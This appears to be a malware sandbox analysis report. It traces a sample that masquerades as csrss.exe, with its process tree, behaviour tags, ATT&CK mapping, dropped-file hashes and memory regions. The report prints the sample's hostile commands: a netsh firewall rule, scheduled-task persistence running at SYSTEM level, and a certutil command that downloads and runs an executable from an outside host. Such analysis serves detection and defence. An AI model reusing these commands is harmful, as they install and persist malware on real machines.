PID 1576 wrote to memory of 1168	1576	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
PID 1576 wrote to memory of 1168	1576	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
PID 1168 wrote to memory of 624	1168	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe	cmd.exe
PID 1168 wrote to memory of 624	1168	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe	cmd.exe
PID 1168 wrote to memory of 624	1168	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe	cmd.exe
PID 1168 wrote to memory of 624	1168	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe	cmd.exe
PID 624 wrote to memory of 1660	624	cmd.exe	netsh.exe
PID 624 wrote to memory of 1660	624	cmd.exe	netsh.exe
PID 624 wrote to memory of 1660	624	cmd.exe	netsh.exe
PID 1168 wrote to memory of 1936	1168	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe	csrss.exe
PID 1168 wrote to memory of 1936	1168	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe	csrss.exe
PID 1168 wrote to memory of 1936	1168	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe	csrss.exe
PID 1168 wrote to memory of 1936	1168	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe	csrss.exe
PID 1936 wrote to memory of 996	1936	csrss.exe	csrss.exe
PID 1936 wrote to memory of 996	1936	csrss.exe	csrss.exe
PID 1936 wrote to memory of 996	1936	csrss.exe	csrss.exe
PID 1936 wrote to memory of 996	1936	csrss.exe	csrss.exe
PID 1936 wrote to memory of 996	1936	csrss.exe	csrss.exe
PID 1936 wrote to memory of 996	1936	csrss.exe	csrss.exe
PID 1936 wrote to memory of 996	1936	csrss.exe	csrss.exe
PID 1936 wrote to memory of 996	1936	csrss.exe	csrss.exe
PID 1936 wrote to memory of 996	1936	csrss.exe	csrss.exe
PID 996 wrote to memory of 1788	996	csrss.exe	bcdedit.exe
PID 996 wrote to memory of 1788	996	csrss.exe	bcdedit.exe
PID 996 wrote to memory of 1788	996	csrss.exe	bcdedit.exe
PID 996 wrote to memory of 1788	996	csrss.exe	bcdedit.exe

C:\Users\Admin\AppData\Local\Temp\8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
"C:\Users\Admin\AppData\Local\Temp\8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:968

C:\Users\Admin\AppData\Local\Temp\8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
"C:\Users\Admin\AppData\Local\Temp\8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:560

C:\Users\Admin\AppData\Local\Temp\8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
"C:\Users\Admin\AppData\Local\Temp\8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe"
3⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1576

C:\Users\Admin\AppData\Local\Temp\8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
"C:\Users\Admin\AppData\Local\Temp\8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe"
4⤵
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1168

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
5⤵
- Suspicious use of WriteProcessMemory
PID:624

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
6⤵
- Modifies data under HKEY_USERS
PID:1660

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1936

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
6⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:996

C:\Windows\system32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
7⤵
- Creates scheduled task(s)
PID:1200

C:\Windows\system32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://biggames.online/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
7⤵
- Creates scheduled task(s)
PID:1976

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
PID:896

C:\Windows\system32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
7⤵
- Modifies boot configuration data using bcdedit
PID:1788

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20220520044750.log C:\Windows\Logs\CBS\CbsPersist_20220520044750.cab
1⤵
- Drops file in Windows directory
PID:468

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.5MB

MD5
5635e26c47223e47e3a87856d2e004b5

SHA1
4bcb817e4479f2c78c068c6163bf2ea70283be96

SHA256
8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b

SHA512
fbd79a001807a2853c753219d2ac33f1e86c73cff2ad88e9320b6b4d03a40252d3db327b6a94e3e09102677f01a94d0b6fd32e3182ed0ec15d85e9398f3b8e4e

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.5MB

MD5
5635e26c47223e47e3a87856d2e004b5

SHA1
4bcb817e4479f2c78c068c6163bf2ea70283be96

SHA256
8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b

SHA512
fbd79a001807a2853c753219d2ac33f1e86c73cff2ad88e9320b6b4d03a40252d3db327b6a94e3e09102677f01a94d0b6fd32e3182ed0ec15d85e9398f3b8e4e

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.5MB

MD5
5635e26c47223e47e3a87856d2e004b5

SHA1
4bcb817e4479f2c78c068c6163bf2ea70283be96

SHA256
8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b

SHA512
fbd79a001807a2853c753219d2ac33f1e86c73cff2ad88e9320b6b4d03a40252d3db327b6a94e3e09102677f01a94d0b6fd32e3182ed0ec15d85e9398f3b8e4e

Download Submit
\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
\Users\Admin\AppData\Local\Temp\dbghelp.dll
Filesize
1.5MB

MD5
f0616fa8bc54ece07e3107057f74e4db

SHA1
b33995c4f9a004b7d806c4bb36040ee844781fca

SHA256
6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

SHA512
15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
Filesize
5.3MB

MD5
1afff8d5352aecef2ecd47ffa02d7f7d

SHA1
8b115b84efdb3a1b87f750d35822b2609e665bef

SHA256
c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

SHA512
e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
Filesize
5.3MB

MD5
1afff8d5352aecef2ecd47ffa02d7f7d

SHA1
8b115b84efdb3a1b87f750d35822b2609e665bef

SHA256
c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

SHA512
e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
Filesize
5.3MB

MD5
1afff8d5352aecef2ecd47ffa02d7f7d

SHA1
8b115b84efdb3a1b87f750d35822b2609e665bef

SHA256
c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

SHA512
e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

Download Submit
\Users\Admin\AppData\Local\Temp\osloader.exe
Filesize
591KB

MD5
e2f68dc7fbd6e0bf031ca3809a739346

SHA1
9c35494898e65c8a62887f28e04c0359ab6f63f5

SHA256
b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4

SHA512
26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

Download Submit
\Users\Admin\AppData\Local\Temp\osloader.exe
Filesize
591KB

MD5
e2f68dc7fbd6e0bf031ca3809a739346

SHA1
9c35494898e65c8a62887f28e04c0359ab6f63f5

SHA256
b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4

SHA512
26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

Download Submit
\Users\Admin\AppData\Local\Temp\osloader.exe
Filesize
591KB

MD5
e2f68dc7fbd6e0bf031ca3809a739346

SHA1
9c35494898e65c8a62887f28e04c0359ab6f63f5

SHA256
b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4

SHA512
26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

Download Submit
\Users\Admin\AppData\Local\Temp\symsrv.dll
Filesize
163KB

MD5
5c399d34d8dc01741269ff1f1aca7554

SHA1
e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

SHA256
e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

SHA512
8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

Download Submit
\Windows\rss\csrss.exe
Filesize
3.5MB

MD5
5635e26c47223e47e3a87856d2e004b5

SHA1
4bcb817e4479f2c78c068c6163bf2ea70283be96

SHA256
8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b

SHA512
fbd79a001807a2853c753219d2ac33f1e86c73cff2ad88e9320b6b4d03a40252d3db327b6a94e3e09102677f01a94d0b6fd32e3182ed0ec15d85e9398f3b8e4e

Download Submit
\Windows\rss\csrss.exe
Filesize
3.5MB

MD5
5635e26c47223e47e3a87856d2e004b5

SHA1
4bcb817e4479f2c78c068c6163bf2ea70283be96

SHA256
8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b

SHA512
fbd79a001807a2853c753219d2ac33f1e86c73cff2ad88e9320b6b4d03a40252d3db327b6a94e3e09102677f01a94d0b6fd32e3182ed0ec15d85e9398f3b8e4e

Download Submit
memory/560-60-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

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memory/560-62-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/560-61-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/560-56-0x0000000000B25650-mapping.dmp

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memory/560-55-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

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memory/624-70-0x0000000000000000-mapping.dmp

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memory/968-54-0x0000000002150000-0x00000000024C2000-memory.dmp

Filesize
3.4MB

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memory/968-59-0x00000000024D0000-0x000000000283E000-memory.dmp

Filesize
3.4MB

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memory/968-58-0x0000000002150000-0x00000000024C2000-memory.dmp

Filesize
3.4MB

Download
memory/996-81-0x0000000000B25650-mapping.dmp

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memory/996-94-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/1168-65-0x0000000000B25650-mapping.dmp

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memory/1168-77-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/1576-67-0x0000000002250000-0x00000000025C2000-memory.dmp

Filesize
3.4MB

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memory/1576-63-0x0000000002250000-0x00000000025C2000-memory.dmp

Filesize
3.4MB

Download
memory/1660-72-0x000007FEFB721000-0x000007FEFB723000-memory.dmp

Filesize
8KB

Download
memory/1660-71-0x0000000000000000-mapping.dmp

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memory/1788-100-0x0000000000000000-mapping.dmp

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memory/1936-84-0x0000000002050000-0x00000000023C2000-memory.dmp

Filesize
3.4MB

Download
memory/1936-78-0x0000000002050000-0x00000000023C2000-memory.dmp

Filesize
3.4MB

Download
memory/1936-75-0x0000000000000000-mapping.dmp

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